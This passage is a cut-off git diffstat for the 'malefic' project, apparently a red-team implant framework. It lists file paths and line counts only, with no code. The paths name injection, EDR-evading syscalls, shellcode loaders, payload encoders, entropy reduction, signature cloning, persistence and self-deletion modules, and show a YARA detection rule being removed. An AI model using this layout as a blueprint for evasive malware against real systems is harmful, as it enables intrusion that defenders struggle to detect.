malefic-crates/transport/src/rem/mod.rs | 539 + malefic-crates/transport/src/runner.rs | 1067 + .../transport/src/server_manager.rs | 466 + malefic-crates/transport/src/session.rs | 196 + .../transport/src}/tcp/mod.rs | 210 +- .../transport/src/tcp/native_tls.rs | 67 + malefic-crates/transport/src/tcp/tls.rs | 337 + malefic-crates/win/Cargo.toml | 69 + malefic-crates/win/README.md | 82 + malefic-crates/win/build.rs | 193 + malefic-crates/win/malefic_win_kit.h | 338 + malefic-crates/win/src/common/mod.rs | 56 + malefic-crates/win/src/detour/mod.rs | 43 + malefic-crates/win/src/kit/apis/mod.rs | 72 + malefic-crates/win/src/kit/binding/binding.rs | 747 + malefic-crates/win/src/kit/binding/mod.rs | 61 + malefic-crates/win/src/kit/bof/mod.rs | 25 + .../win/src}/kit/bypass/mod.rs | 129 +- malefic-crates/win/src/kit/clr/mod.rs | 20 + malefic-crates/win/src/kit/hide/mod.rs | 5 + .../win/src/kit/inject/create_thread/mod.rs | 10 + malefic-crates/win/src/kit/inject/mod.rs | 5 + malefic-crates/win/src/kit/mod.rs | 23 + malefic-crates/win/src/kit/pe/inlinepe.rs | 32 + malefic-crates/win/src/kit/pe/mod.rs | 63 + .../win/src/kit/pe/reflective_loader.rs | 32 + malefic-crates/win/src/kit/pe/runpe.rs | 31 + .../win/src}/kit/pe/utils.rs | 50 +- malefic-crates/win/src/kit/pwsh/mod.rs | 5 + malefic-crates/win/src/lib.rs | 22 + .../win/src}/pipe/mod.rs | 271 +- .../win => malefic-crates/win/src}/reg/mod.rs | 264 +- .../win/src}/scheduler/mod.rs | 208 +- malefic-crates/win/src/service/mod.rs | 520 + malefic-crates/win/src/sleep/allocator.rs | 63 + malefic-crates/win/src/sleep/config.rs | 258 + malefic-crates/win/src/sleep/hypnus.rs | 894 + malefic-crates/win/src/sleep/mod.rs | 41 + malefic-crates/win/src/sleep/types.rs | 425 + malefic-crates/win/src/sleep/winapis.rs | 552 + .../win/src}/token/mod.rs | 181 +- malefic-crates/win/src/types/mod.rs | 2 + malefic-crates/win/src/wmi/connection.rs | 156 + malefic-crates/win/src/wmi/exec.rs | 73 + malefic-crates/win/src/wmi/mod.rs | 12 + malefic-crates/win/src/wmi/query.rs | 27 + .../win/src/wmi/result_enumerator.rs | 124 + malefic-crates/win/src/wmi/safearray.rs | 122 + malefic-crates/win/src/wmi/utils.rs | 59 + malefic-crates/win/src/wmi/variant.rs | 396 + malefic-helper/Cargo.toml | 95 - malefic-helper/build.rs | 261 - malefic-helper/malefic_win_kit.h | 206 - malefic-helper/src/common/hot_modules.rs | 155 - malefic-helper/src/common/loader.rs | 17 - malefic-helper/src/common/memory.rs | 227 - malefic-helper/src/common/mod.rs | 11 - malefic-helper/src/common/net.rs | 71 - .../src/common/rem/rem_reflection.rs | 106 - malefic-helper/src/common/sysinfo.rs | 219 - malefic-helper/src/lib.rs | 79 - malefic-helper/src/linux/dynamic/mod.rs | 1 - malefic-helper/src/linux/loader/pthread.rs | 39 - malefic-helper/src/win/anti/mod.rs | 10 - malefic-helper/src/win/clr/mod.rs | 34 - malefic-helper/src/win/common/mod.rs | 36 - .../src/win/inject/create_thread/mod.rs | 28 - malefic-helper/src/win/inject/mod.rs | 9 - malefic-helper/src/win/kit/apis/mod.rs | 170 - malefic-helper/src/win/kit/bindings.rs | 339 - malefic-helper/src/win/kit/bof/mod.rs | 31 - malefic-helper/src/win/kit/clr/mod.rs | 29 - malefic-helper/src/win/kit/func/mod.rs | 12 - malefic-helper/src/win/kit/mod.rs | 388 - malefic-helper/src/win/kit/pe/inlinepe.rs | 53 - malefic-helper/src/win/kit/pe/mod.rs | 122 - .../src/win/kit/pe/reflective_loader.rs | 60 - malefic-helper/src/win/kit/pe/runpe.rs | 60 - malefic-helper/src/win/kit/pwsh/mod.rs | 35 - malefic-helper/src/win/loader/apc/mod.rs | 43 - malefic-helper/src/win/mod.rs | 21 - malefic-helper/src/win/service/mod.rs | 448 - malefic-helper/src/win/types/mod.rs | 1 - malefic-helper/src/win/wmi/mod.rs | 91 - malefic-helper/tests/test_anti.rs | 227 - malefic-helper/tests/test_common.rs | 205 - malefic-helper/tests/test_pipe.rs | 107 - malefic-helper/tests/test_process.rs | 49 - malefic-helper/tests/test_reg.rs | 176 - malefic-helper/tests/test_schelduler.rs | 89 - malefic-helper/tests/test_service.rs | 131 - malefic-helper/tests/test_token.rs | 284 - malefic-helper/tests/test_win.rs | 20 - malefic-helper/tests/test_wmi.rs | 32 - malefic-modules/Cargo.toml | 109 +- malefic-modules/src/execute/dllspawn.rs | 34 +- malefic-modules/src/execute/exec.rs | 67 +- malefic-modules/src/execute/execute_armory.rs | 35 +- .../src/execute/execute_assembly.rs | 33 +- malefic-modules/src/execute/execute_bof.rs | 13 +- malefic-modules/src/execute/execute_dll.rs | 43 +- malefic-modules/src/execute/execute_exe.rs | 41 +- malefic-modules/src/execute/execute_local.rs | 28 +- .../src/execute/execute_powershell.rs | 31 +- .../src/execute/execute_shellcode.rs | 50 +- malefic-modules/src/execute/inline_local.rs | 22 +- malefic-modules/src/execute/mod.rs | 17 +- malefic-modules/src/execute/open.rs | 42 +- malefic-modules/src/fs/cat.rs | 27 +- malefic-modules/src/fs/cd.rs | 16 +- malefic-modules/src/fs/chmod.rs | 14 +- malefic-modules/src/fs/chown.rs | 11 +- malefic-modules/src/fs/cp.rs | 15 +- malefic-modules/src/fs/driver.rs | 23 +- malefic-modules/src/fs/ls.rs | 57 +- malefic-modules/src/fs/mkdir.rs | 12 +- malefic-modules/src/fs/mod.rs | 34 +- malefic-modules/src/fs/mv.rs | 12 +- malefic-modules/src/fs/pipe.rs | 209 +- malefic-modules/src/fs/pwd.rs | 11 +- malefic-modules/src/fs/rm.rs | 15 +- malefic-modules/src/fs/touch.rs | 29 + malefic-modules/src/lib.rs | 153 +- malefic-modules/src/net/download.rs | 146 +- malefic-modules/src/net/mod.rs | 2 + malefic-modules/src/net/upload.rs | 7 +- malefic-modules/src/prelude.rs | 17 +- malefic-modules/src/sys/bypass.rs | 7 +- malefic-modules/src/sys/env.rs | 36 +- malefic-modules/src/sys/example.rs | 27 +- malefic-modules/src/sys/info.rs | 72 +- malefic-modules/src/sys/inject.rs | 17 +- malefic-modules/src/sys/kill.rs | 12 +- malefic-modules/src/sys/mod.rs | 41 +- malefic-modules/src/sys/netstat.rs | 22 +- malefic-modules/src/sys/ps.rs | 13 +- malefic-modules/src/sys/reg.rs | 60 +- malefic-modules/src/sys/self_dele.rs | 24 + malefic-modules/src/sys/service.rs | 66 +- malefic-modules/src/sys/taskschd.rs | 26 +- malefic-modules/src/sys/thread_spawn_test.rs | 51 + malefic-modules/src/sys/token.rs | 36 +- malefic-modules/src/sys/whoami.rs | 16 +- malefic-modules/src/sys/wmi.rs | 167 +- malefic-modules/tests/test_module.rs | 70 - malefic-mutant/Cargo.toml | 26 +- malefic-mutant/README.md | 484 + malefic-mutant/build.rs | 139 + .../config_lint.json | 186 +- malefic-mutant/src/build/payload/mod.rs | 286 +- malefic-mutant/src/build/pulse/http.rs | 621 +- malefic-mutant/src/build/pulse/mod.rs | 51 +- malefic-mutant/src/build/pulse/tcp.rs | 465 +- malefic-mutant/src/build/pulse/utils.rs | 112 +- malefic-mutant/src/build/pulse/winhttp.rs | 379 + malefic-mutant/src/build/pulse/wininet.rs | 354 + malefic-mutant/src/cmd.rs | 432 +- malefic-mutant/src/config/mod.rs | 349 +- malefic-mutant/src/generate/cargo_features.rs | 158 + malefic-mutant/src/generate/codegen.rs | 996 + malefic-mutant/src/generate/config_3rd.rs | 38 - malefic-mutant/src/generate/config_core.rs | 750 - malefic-mutant/src/generate/config_helper.rs | 88 - malefic-mutant/src/generate/config_malefic.rs | 183 - malefic-mutant/src/generate/config_modules.rs | 31 - malefic-mutant/src/generate/config_prelude.rs | 215 - malefic-mutant/src/generate/config_proto.rs | 38 - malefic-mutant/src/generate/config_pulse.rs | 69 - malefic-mutant/src/generate/config_toml.rs | 232 - malefic-mutant/src/generate/config_winkit.rs | 176 - .../src/generate/config_workspace.rs | 93 - malefic-mutant/src/generate/features.rs | 481 + malefic-mutant/src/generate/mod.rs | 141 +- malefic-mutant/src/generate/prelude.rs | 279 + .../{config_metadata.rs => resources.rs} | 20 +- malefic-mutant/src/generate/spites.rs | 114 + malefic-mutant/src/logger.rs | 16 +- malefic-mutant/src/main.rs | 1481 +- malefic-mutant/src/tool/binder/embed.rs | 110 + malefic-mutant/src/tool/binder/metadata.rs | 53 + malefic-mutant/src/tool/binder/mod.rs | 9 + malefic-mutant/src/tool/encoder/aes2.rs | 15 + malefic-mutant/src/tool/encoder/aes_enc.rs | 12 + malefic-mutant/src/tool/encoder/base45.rs | 12 + malefic-mutant/src/tool/encoder/base58.rs | 12 + malefic-mutant/src/tool/encoder/base64_enc.rs | 12 + malefic-mutant/src/tool/encoder/chacha.rs | 12 + malefic-mutant/src/tool/encoder/des_enc.rs | 12 + malefic-mutant/src/tool/encoder/ipv4.rs | 12 + malefic-mutant/src/tool/encoder/mac.rs | 12 + malefic-mutant/src/tool/encoder/mod.rs | 257 + malefic-mutant/src/tool/encoder/rc4.rs | 12 + malefic-mutant/src/tool/encoder/uuid.rs | 12 + malefic-mutant/src/tool/encoder/xor.rs | 12 + malefic-mutant/src/tool/entropy/calculator.rs | 69 + malefic-mutant/src/tool/entropy/mod.rs | 5 + malefic-mutant/src/tool/entropy/reducer.rs | 424 + malefic-mutant/src/tool/icon/ico_parser.rs | 180 + malefic-mutant/src/tool/icon/mod.rs | 7 + malefic-mutant/src/tool/icon/replace.rs | 298 + malefic-mutant/src/tool/icon/resource.rs | 262 + malefic-mutant/src/tool/loader/bdf/evasion.rs | 383 + malefic-mutant/src/tool/loader/bdf/mod.rs | 44 + malefic-mutant/src/tool/loader/bdf/pe.rs | 230 + .../src/tool/loader/bdf/resolver.rs | 392 + malefic-mutant/src/tool/loader/mod.rs | 29 + malefic-mutant/src/tool/loader/patch.rs | 101 + .../src/tool/loader/proxydll_loader.rs | 56 + malefic-mutant/src/tool/loader/template.rs | 248 + malefic-mutant/src/tool/mod.rs | 6 + malefic-mutant/src/tool/patch.rs | 107 +- malefic-mutant/src/tool/pe/objcopy.rs | 8 +- malefic-mutant/src/tool/pe/parser.rs | 5 +- malefic-mutant/src/tool/proxydll/generator.rs | 89 +- malefic-mutant/src/tool/proxydll/mod.rs | 22 +- .../src/tool/sigforge/carbon_copy.rs | 204 + malefic-mutant/src/tool/sigforge/mod.rs | 1 + malefic-mutant/src/tool/srdi/mod.rs | 15 +- malefic-mutant/src/tool/srdi/shellcode.rs | 14 + malefic-mutant/src/tool/strip/mod.rs | 9 +- malefic-mutant/src/tool/watermark/methods.rs | 387 + malefic-mutant/src/tool/watermark/mod.rs | 3 + malefic-prelude/Cargo.toml | 15 +- malefic-prelude/build.rs | 14 +- malefic-prelude/src/autorun/mod.rs | 47 - malefic-prelude/src/lib.rs | 38 - malefic-prelude/src/main.rs | 5 +- malefic-prelude/src/scheduler/mod.rs | 76 - malefic-prelude/tests/test_autorun.rs | 42 - malefic-prelude/tests/test_scheduler.rs | 73 - malefic-proto/Cargo.toml | 37 - malefic-proto/build.rs | 34 - malefic-proto/src/compress/mod.rs | 18 - malefic-proto/src/crypto/age.rs | 39 - malefic-proto/src/lib.rs | 348 - malefic-proto/src/prelude.rs | 5 - malefic-proto/src/proto/implantpb.rs | 156 - malefic-proto/src/scheduler.rs | 121 - malefic-proto/tests/test_age.rs | 165 - malefic-proto/tests/test_compress.rs | 0 malefic-proto/tests/test_crypto.rs | 100 - malefic-proxydll/Cargo.toml | 4 +- malefic-proxydll/proxy.def | 224 + malefic-proxydll/src/payload.rs | 6 +- malefic-pulse/Cargo.toml | 19 +- malefic-pulse/build.rs | 116 +- malefic-pulse/scripts/linker.ld | 28 + malefic-pulse/src/constants.rs | 35 + malefic-pulse/src/hash.rs | 70 + malefic-pulse/src/instance.rs | 469 + malefic-pulse/src/lib.rs | 135 + malefic-pulse/src/main.rs | 13 +- malefic-pulse/src/memory.rs | 96 + malefic-pulse/src/resolve.rs | 80 + malefic-pulse/src/template/instance_template | 225 + malefic-pulse/src/windows.rs | 347 + malefic-starship/Cargo.lock | 1654 + malefic-starship/Cargo.toml | 81 + malefic-starship/README.md | 93 + malefic-starship/asm/direct_syscall.asm | 35 + malefic-starship/asm/edr_syscall_1.asm | 52 + malefic-starship/asm/edr_syscall_2.asm | 72 + malefic-starship/asm/indirect_syscall.asm | 31 + malefic-starship/asm/woodpecker_assm.asm | 71 + malefic-starship/src/decoder/mod.rs | 38 + malefic-starship/src/launch.rs | 392 + malefic-starship/src/lib.rs | 77 + .../src/loaders/basic_template.rs | 10 + malefic-starship/src/loaders/common.rs | 137 + malefic-starship/src/loaders/func_ptr.rs | 52 + malefic-starship/src/loaders/mod.rs | 25 + malefic-starship/src/main.rs | 70 + malefic-starship/src/obf.rs | 8 + malefic-starship/src/types.rs | 404 + malefic-trait/Cargo.toml | 12 - malefic-trait/src/lib.rs | 62 - malefic.yar | 12 - malefic/Cargo.toml | 86 +- malefic/build.rs | 95 +- malefic/src/beacon.rs | 709 +- malefic/src/bind.rs | 175 +- malefic/src/bootstrap.rs | 41 + malefic/src/lib.rs | 91 +- malefic/src/main.rs | 24 +- malefic/src/malefic.rs | 75 - malefic/src/meta.rs | 105 - malefic/src/session_loop.rs | 792 + malefic/src/stub.rs | 377 - prelude.yaml | 1 + profiles/README.md | 27 + profiles/malefic-http/implant.yaml | 126 + profiles/malefic-https/implant.yaml | 126 + profiles/malefic-mini-modules/implant.yaml | 118 + profiles/malefic-nano-modules/implant.yaml | 118 + profiles/malefic-rem/implant.yaml | 118 + profiles/malefic-tcp-tls/implant.yaml | 122 + profiles/malefic-tcp/implant.yaml | 118 + profiles/malefic-with-prelude/implant.yaml | 135 + profiles/malefic-with-prelude/prelude.yaml | 9 + .../resources/persist_with_reg.x64.o | Bin 0 -> 3006 bytes profiles/prelude-shellcode/implant.yaml | 118 + profiles/prelude-shellcode/prelude.yaml | 6 + .../prelude-shellcode/resources/shellcode.bin | 1 + profiles/pulse-tcp/implant.yaml | 116 + profiles/pulse-winhttp-http/implant.yaml | 124 + profiles/pulse-winhttp-https/implant.yaml | 124 + profiles/pulse-wininet-http/implant.yaml | 124 + profiles/pulse-wininet-https/implant.yaml | 124 + proto | 2 +- resources/YY-Thunks-Objs/Readme.md | 180 + resources/YY-Thunks-Objs/ThunksList.md | 898 + .../objs/x64/YY_Thunks_for_WinXP.obj | Bin 0 -> 5347481 bytes .../objs/x86/YY_Thunks_for_WinXP.obj | Bin 0 -> 5080453 bytes resources/malefic.rc | 30 + 1146 files changed, 205986 insertions(+), 17363 deletions(-) create mode 100644 .github/workflows/bundle-full-source.yml create mode 100644 .github/workflows/check.yaml create mode 100644 .github/workflows/runtime-integration.yaml delete mode 100644 LICENSE create mode 100644 examples/starship/Cargo.toml create mode 100644 examples/starship/README.md create mode 100644 examples/starship/starship_example.rs create mode 100644 lib/libudis86-sys/Cargo.toml create mode 100644 lib/libudis86-sys/README.md create mode 100644 lib/libudis86-sys/build.rs create mode 100644 lib/libudis86-sys/libudis86/decode.c create mode 100644 lib/libudis86-sys/libudis86/decode.h create mode 100644 lib/libudis86-sys/libudis86/extern.h create mode 100644 lib/libudis86-sys/libudis86/itab.c create mode 100644 lib/libudis86-sys/libudis86/itab.h create mode 100644 lib/libudis86-sys/libudis86/syn-att.c create mode 100644 lib/libudis86-sys/libudis86/syn-intel.c create mode 100644 lib/libudis86-sys/libudis86/syn.c create mode 100644 lib/libudis86-sys/libudis86/syn.h create mode 100644 lib/libudis86-sys/libudis86/types.h create mode 100644 lib/libudis86-sys/libudis86/udint.h create mode 100644 lib/libudis86-sys/libudis86/udis86.c create mode 100644 lib/libudis86-sys/src/api.rs create mode 100644 lib/libudis86-sys/src/itab.rs create mode 100644 lib/libudis86-sys/src/lib.rs create mode 100644 lib/libudis86-sys/src/types.rs create mode 100644 lib/malio/async-channel/.github/dependabot.yml create mode 100644 lib/malio/async-channel/.github/workflows/ci.yml create mode 100644 lib/malio/async-channel/.github/workflows/release.yml create mode 100644 lib/malio/async-channel/.gitignore create mode 100644 lib/malio/async-channel/CHANGELOG.md create mode 100644 lib/malio/async-channel/Cargo.toml create mode 100644 lib/malio/async-channel/LICENSE-APACHE create mode 100644 lib/malio/async-channel/LICENSE-MIT create mode 100644 lib/malio/async-channel/README.md create mode 100644 lib/malio/async-channel/src/lib.rs create mode 100644 lib/malio/async-channel/tests/bounded.rs create mode 100644 lib/malio/async-channel/tests/unbounded.rs create mode 100644 lib/malio/async-executor/.github/dependabot.yml create mode 100644 lib/malio/async-executor/.github/workflows/ci.yml create mode 100644 lib/malio/async-executor/.github/workflows/release.yml create mode 100644 lib/malio/async-executor/.gitignore create mode 100644 lib/malio/async-executor/CHANGELOG.md create mode 100644 lib/malio/async-executor/Cargo.toml create mode 100644 lib/malio/async-executor/LICENSE-APACHE create mode 100644 lib/malio/async-executor/LICENSE-MIT create mode 100644 lib/malio/async-executor/README.md create mode 100644 lib/malio/async-executor/benches/executor.rs create mode 100644 lib/malio/async-executor/examples/limit.rs create mode 100644 lib/malio/async-executor/examples/priority.rs create mode 100644 lib/malio/async-executor/src/lib.rs create mode 100644 lib/malio/async-executor/src/static_executors.rs create mode 100644 lib/malio/async-executor/tests/different_executors.rs create mode 100644 lib/malio/async-executor/tests/drop.rs create mode 100644 lib/malio/async-executor/tests/larger_tasks.rs create mode 100644 lib/malio/async-executor/tests/local_queue.rs create mode 100644 lib/malio/async-executor/tests/panic_prop.rs create mode 100644 lib/malio/async-executor/tests/spawn_many.rs create mode 100644 lib/malio/async-fs/.github/dependabot.yml create mode 100644 lib/malio/async-fs/.github/workflows/ci.yml create mode 100644 lib/malio/async-fs/.github/workflows/release.yml create mode 100644 lib/malio/async-fs/.gitignore create mode 100644 lib/malio/async-fs/CHANGELOG.md create mode 100644 lib/malio/async-fs/Cargo.toml create mode 100644 lib/malio/async-fs/LICENSE-APACHE create mode 100644 lib/malio/async-fs/LICENSE-MIT create mode 100644 lib/malio/async-fs/README.md create mode 100644 lib/malio/async-fs/src/lib.rs create mode 100644 lib/malio/async-io/.cirrus.yml create mode 100644 lib/malio/async-io/.github/dependabot.yml create mode 100644 lib/malio/async-io/.github/workflows/ci.yml create mode 100644 lib/malio/async-io/.github/workflows/release.yml create mode 100644 lib/malio/async-io/.gitignore create mode 100644 lib/malio/async-io/CHANGELOG.md create mode 100644 lib/malio/async-io/Cargo.toml create mode 100644 lib/malio/async-io/LICENSE-APACHE create mode 100644 lib/malio/async-io/LICENSE-MIT create mode 100644 lib/malio/async-io/README.md create mode 100644 lib/malio/async-io/benches/io.rs create mode 100644 lib/malio/async-io/benches/timer.rs create mode 100644 lib/malio/async-io/build.rs create mode 100644 lib/malio/async-io/examples/kqueue-process.rs create mode 100644 lib/malio/async-io/examples/linux-inotify.rs create mode 100644 lib/malio/async-io/examples/linux-timerfd.rs create mode 100644 lib/malio/async-io/examples/unix-signal.rs create mode 100644 lib/malio/async-io/examples/windows-command.rs create mode 100644 lib/malio/async-io/examples/windows-uds.rs create mode 100644 lib/malio/async-io/src/driver.rs create mode 100644 lib/malio/async-io/src/lib.rs create mode 100644 lib/malio/async-io/src/os.rs create mode 100644 lib/malio/async-io/src/os/kqueue.rs create mode 100644 lib/malio/async-io/src/os/unix.rs create mode 100644 lib/malio/async-io/src/os/windows.rs create mode 100644 lib/malio/async-io/src/reactor.rs create mode 100644 lib/malio/async-io/src/reactor/kqueue.rs create mode 100644 lib/malio/async-io/src/reactor/unix.rs create mode 100644 lib/malio/async-io/src/reactor/windows.rs create mode 100644 lib/malio/async-io/tests/async.rs create mode 100644 lib/malio/async-io/tests/block_on.rs create mode 100644 lib/malio/async-io/tests/issue_182.rs create mode 100644 lib/malio/async-io/tests/timer.rs create mode 100644 lib/malio/async-net/.github/dependabot.yml create mode 100644 lib/malio/async-net/.github/workflows/ci.yml create mode 100644 lib/malio/async-net/.github/workflows/release.yml create mode 100644 lib/malio/async-net/.gitignore create mode 100644 lib/malio/async-net/CHANGELOG.md create mode 100644 lib/malio/async-net/Cargo.toml create mode 100644 lib/malio/async-net/LICENSE-APACHE create mode 100644 lib/malio/async-net/LICENSE-MIT create mode 100644 lib/malio/async-net/README.md create mode 100644 lib/malio/async-net/src/addr.rs create mode 100644 lib/malio/async-net/src/lib.rs create mode 100644 lib/malio/async-net/src/tcp.rs create mode 100644 lib/malio/async-net/src/udp.rs create mode 100644 lib/malio/async-net/src/unix.rs create mode 100644 lib/malio/async-process/.github/dependabot.yml create mode 100644 lib/malio/async-process/.github/workflows/ci.yml create mode 100644 lib/malio/async-process/.github/workflows/release.yml create mode 100644 lib/malio/async-process/.gitignore create mode 100644 lib/malio/async-process/CHANGELOG.md create mode 100644 lib/malio/async-process/Cargo.toml create mode 100644 lib/malio/async-process/LICENSE-APACHE create mode 100644 lib/malio/async-process/LICENSE-MIT create mode 100644 lib/malio/async-process/README.md create mode 100644 lib/malio/async-process/examples/timeout.rs create mode 100644 lib/malio/async-process/src/lib.rs create mode 100644 lib/malio/async-process/src/reaper/mod.rs create mode 100644 lib/malio/async-process/src/reaper/signal.rs create mode 100644 lib/malio/async-process/src/reaper/wait.rs create mode 100644 lib/malio/async-process/src/unix.rs create mode 100644 lib/malio/async-process/src/windows.rs create mode 100644 lib/malio/async-process/tests/sleep.rs create mode 100644 lib/malio/async-process/tests/std.rs create mode 100644 lib/malio/async-task/.github/dependabot.yml create mode 100644 lib/malio/async-task/.github/workflows/ci.yml create mode 100644 lib/malio/async-task/.github/workflows/release.yml create mode 100644 lib/malio/async-task/.gitignore create mode 100644 lib/malio/async-task/CHANGELOG.md create mode 100644 lib/malio/async-task/Cargo.toml create mode 100644 lib/malio/async-task/LICENSE-APACHE create mode 100644 lib/malio/async-task/LICENSE-MIT create mode 100644 lib/malio/async-task/README.md create mode 100644 lib/malio/async-task/benches/spawn.rs create mode 100644 lib/malio/async-task/examples/spawn-local.rs create mode 100644 lib/malio/async-task/examples/spawn-on-thread.rs create mode 100644 lib/malio/async-task/examples/spawn.rs create mode 100644 lib/malio/async-task/examples/with-metadata.rs create mode 100644 lib/malio/async-task/src/header.rs create mode 100644 lib/malio/async-task/src/lib.rs create mode 100644 lib/malio/async-task/src/raw.rs create mode 100644 lib/malio/async-task/src/runnable.rs create mode 100644 lib/malio/async-task/src/state.rs create mode 100644 lib/malio/async-task/src/task.rs create mode 100644 lib/malio/async-task/src/utils.rs create mode 100644 lib/malio/async-task/tests/basic.rs create mode 100644 lib/malio/async-task/tests/cancel.rs create mode 100644 lib/malio/async-task/tests/join.rs create mode 100644 lib/malio/async-task/tests/metadata.rs create mode 100644 lib/malio/async-task/tests/panic.rs create mode 100644 lib/malio/async-task/tests/ready.rs create mode 100644 lib/malio/async-task/tests/waker_panic.rs create mode 100644 lib/malio/async-task/tests/waker_pending.rs create mode 100644 lib/malio/async-task/tests/waker_ready.rs create mode 100644 lib/malio/blocking/.github/dependabot.yml create mode 100644 lib/malio/blocking/.github/workflows/ci.yml create mode 100644 lib/malio/blocking/.github/workflows/release.yml create mode 100644 lib/malio/blocking/.gitignore create mode 100644 lib/malio/blocking/CHANGELOG.md create mode 100644 lib/malio/blocking/Cargo.toml create mode 100644 lib/malio/blocking/LICENSE-APACHE create mode 100644 lib/malio/blocking/LICENSE-MIT create mode 100644 lib/malio/blocking/README.md create mode 100644 lib/malio/blocking/examples/ls.rs create mode 100644 lib/malio/blocking/src/lib.rs create mode 100644 lib/malio/blocking/tests/unblock.rs create mode 100644 lib/malio/parking/.github/dependabot.yml create mode 100644 lib/malio/parking/.github/workflows/ci.yml create mode 100644 lib/malio/parking/.github/workflows/release.yml create mode 100644 lib/malio/parking/.gitignore create mode 100644 lib/malio/parking/CHANGELOG.md create mode 100644 lib/malio/parking/Cargo.toml create mode 100644 lib/malio/parking/LICENSE-APACHE create mode 100644 lib/malio/parking/LICENSE-MIT create mode 100644 lib/malio/parking/LICENSE-THIRD-PARTY create mode 100644 lib/malio/parking/README.md create mode 100644 lib/malio/parking/src/lib.rs create mode 100644 lib/malio/parking/tests/loom.rs create mode 100644 lib/malio/parking/tests/parking.rs create mode 100644 lib/malio/polling/.cirrus.yml create mode 100644 lib/malio/polling/.github/dependabot.yml create mode 100644 lib/malio/polling/.github/workflows/ci.yml create mode 100644 lib/malio/polling/.github/workflows/release.yml create mode 100644 lib/malio/polling/.gitignore create mode 100644 lib/malio/polling/CHANGELOG.md create mode 100644 lib/malio/polling/Cargo.toml create mode 100644 lib/malio/polling/Cross.toml create mode 100644 lib/malio/polling/LICENSE-APACHE create mode 100644 lib/malio/polling/LICENSE-MIT create mode 100644 lib/malio/polling/README.md create mode 100644 lib/malio/polling/examples/tcp_client.rs create mode 100644 lib/malio/polling/examples/two-listeners.rs create mode 100644 lib/malio/polling/examples/wait-signal.rs create mode 100644 lib/malio/polling/src/epoll.rs create mode 100644 lib/malio/polling/src/iocp/afd.rs create mode 100644 lib/malio/polling/src/iocp/mod.rs create mode 100644 lib/malio/polling/src/iocp/port.rs create mode 100644 lib/malio/polling/src/kqueue.rs create mode 100644 lib/malio/polling/src/lib.rs create mode 100644 lib/malio/polling/src/os.rs create mode 100644 lib/malio/polling/src/os/iocp.rs create mode 100644 lib/malio/polling/src/os/kqueue.rs create mode 100644 lib/malio/polling/src/poll.rs create mode 100644 lib/malio/polling/src/port.rs create mode 100644 lib/malio/polling/tests/concurrent_modification.rs create mode 100644 lib/malio/polling/tests/io.rs create mode 100644 lib/malio/polling/tests/many_connections.rs create mode 100644 lib/malio/polling/tests/multiple_pollers.rs create mode 100644 lib/malio/polling/tests/notify.rs create mode 100644 lib/malio/polling/tests/other_modes.rs create mode 100644 lib/malio/polling/tests/precision.rs create mode 100644 lib/malio/polling/tests/timeout.rs create mode 100644 lib/malio/polling/tests/windows_post.rs create mode 100644 lib/malio/polling/tests/windows_waitable.rs create mode 100644 lib/rage/.gitattributes create mode 100644 lib/rage/.github/ISSUE_TEMPLATE/bug-report.md create mode 100644 lib/rage/.github/ISSUE_TEMPLATE/ux-report.md create mode 100644 lib/rage/.github/dependabot.yml create mode 100644 lib/rage/.github/workflows/audit.yml create mode 100644 lib/rage/.github/workflows/audits.yml create mode 100644 lib/rage/.github/workflows/ci.yml create mode 100644 lib/rage/.github/workflows/criterion.yml create mode 100644 lib/rage/.github/workflows/interop.yml create mode 100644 lib/rage/.github/workflows/release.yml create mode 100644 lib/rage/.gitignore create mode 100644 lib/rage/Cargo.toml create mode 100644 lib/rage/LICENSE-APACHE create mode 100644 lib/rage/LICENSE-MIT create mode 100644 lib/rage/README.md create mode 100644 lib/rage/age-core/CHANGELOG.md create mode 100644 lib/rage/age-core/Cargo.toml create mode 100644 lib/rage/age-core/README.md create mode 100644 lib/rage/age-core/src/format.rs create mode 100644 lib/rage/age-core/src/io.rs create mode 100644 lib/rage/age-core/src/lib.rs create mode 100644 lib/rage/age-core/src/plugin.rs create mode 100644 lib/rage/age-core/src/primitives.rs create mode 100644 lib/rage/age-plugin/CHANGELOG.md create mode 100644 lib/rage/age-plugin/Cargo.toml create mode 100644 lib/rage/age-plugin/README.md create mode 100644 lib/rage/age-plugin/README.tpl create mode 100644 lib/rage/age-plugin/examples/age-plugin-unencrypted.rs create mode 100644 lib/rage/age-plugin/src/identity.rs create mode 100644 lib/rage/age-plugin/src/lib.rs create mode 100644 lib/rage/age-plugin/src/recipient.rs create mode 100644 lib/rage/age/CHANGELOG.md create mode 100644 lib/rage/age/Cargo.toml create mode 100644 lib/rage/age/README.md create mode 100644 lib/rage/age/assets/bip39-english.txt create mode 100644 lib/rage/age/benches/parser.rs create mode 100644 lib/rage/age/benches/throughput.rs create mode 100644 lib/rage/age/i18n/en-US/age.ftl create mode 100644 lib/rage/age/i18n/es-AR/age.ftl create mode 100644 lib/rage/age/i18n/fr/age.ftl create mode 100644 lib/rage/age/i18n/it/age.ftl create mode 100644 lib/rage/age/i18n/ru/age.ftl create mode 100644 lib/rage/age/i18n/zh-CN/age.ftl create mode 100644 lib/rage/age/i18n/zh-TW/age.ftl create mode 100644 lib/rage/age/src/cli_common.rs create mode 100644 lib/rage/age/src/cli_common/error.rs create mode 100644 lib/rage/age/src/cli_common/file_io.rs create mode 100644 lib/rage/age/src/cli_common/identities.rs create mode 100644 lib/rage/age/src/cli_common/recipients.rs create mode 100644 lib/rage/age/src/encrypted.rs create mode 100644 lib/rage/age/src/error.rs create mode 100644 lib/rage/age/src/error_fmt.rs create mode 100644 lib/rage/age/src/format.rs create mode 100644 lib/rage/age/src/i18n.rs create mode 100644 lib/rage/age/src/identity.rs create mode 100644 lib/rage/age/src/keys.rs create mode 100644 lib/rage/age/src/lib.rs create mode 100644 lib/rage/age/src/plugin.rs create mode 100644 lib/rage/age/src/primitives.rs create mode 100644 lib/rage/age/src/primitives/armor.rs create mode 100644 lib/rage/age/src/primitives/stream.rs create mode 100644 lib/rage/age/src/protocol.rs create mode 100644 lib/rage/age/src/scrypt.rs create mode 100644 lib/rage/age/src/simple.rs create mode 100644 lib/rage/age/src/ssh.rs create mode 100644 lib/rage/age/src/ssh/identity.rs create mode 100644 lib/rage/age/src/ssh/recipient.rs create mode 100644 lib/rage/age/src/util.rs create mode 100644 lib/rage/age/src/x25519.rs create mode 100644 lib/rage/age/tests/test_vectors.rs create mode 100644 lib/rage/age/tests/testdata/empty_recipient_body.age create mode 100644 lib/rage/age/tests/testdata/empty_recipient_body_key.txt create mode 100644 lib/rage/age/tests/testdata/fail_large_filekey_scrypt.age create mode 100644 lib/rage/age/tests/testdata/fail_large_filekey_scrypt_password.txt create mode 